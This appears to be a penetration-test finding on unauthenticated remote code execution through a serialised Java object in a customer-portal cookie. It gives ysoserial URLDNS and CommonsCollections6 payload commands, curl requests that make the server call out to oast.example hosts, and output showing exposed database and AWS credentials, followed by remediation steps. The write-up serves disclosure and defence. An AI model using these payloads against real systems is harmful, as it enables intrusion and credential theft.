Unauthenticated remote code execution via Java deserialisation
The customer portal trusts a serialised Java object sent in a cookie. One crafted request, with no login, runs operating system commands on the application server.
- 01 · Fingerprint
$ echo "$SESSION_STATE" | base64 -d | xxd | head -1 00000000: aced 0005 7372 0021 636f 6d2e ....sr.!com. [!] aced0005: Java serialization stream, client controlled - 02 · Confirm safely, no code executed
$ java -jar ysoserial.jar URLDNS http://k3q9.oast.example \ | base64 -w0 > probe.b64 $ curl -s https://portal.corp.example/account \ -H "Cookie: SESSION_STATE=$(cat probe.b64)" [+] DNS lookup for k3q9.oast.example from 203.0.113.24 - 03 · Prove execution, within the rules of engagement
$ java -jar ysoserial.jar CommonsCollections6 \ "nslookup rce-7f2.oast.example" | base64 -w0 > rce.b64 $ curl -s https://portal.corp.example/account \ -H "Cookie: SESSION_STATE=$(cat rce.b64)" [+] DNS lookup for rce-7f2.oast.example: command executed [+] runs as tomcat · reads application.properties [+] exposed: database credentials, AWS access key
- Stop deserialising client data: replace the cookie with a server-side session or a signed JSON token.
- Until then, enforce a JEP 290
ObjectInputFilterallowlist on everyObjectInputStream. - Upgrade commons-collections to 3.2.2 or later and remove unused gadget libraries.
- Rotate the exposed database and AWS credentials, then review their access logs.
- Detect it: alert on shells or network tools spawned by the Tomcat process.









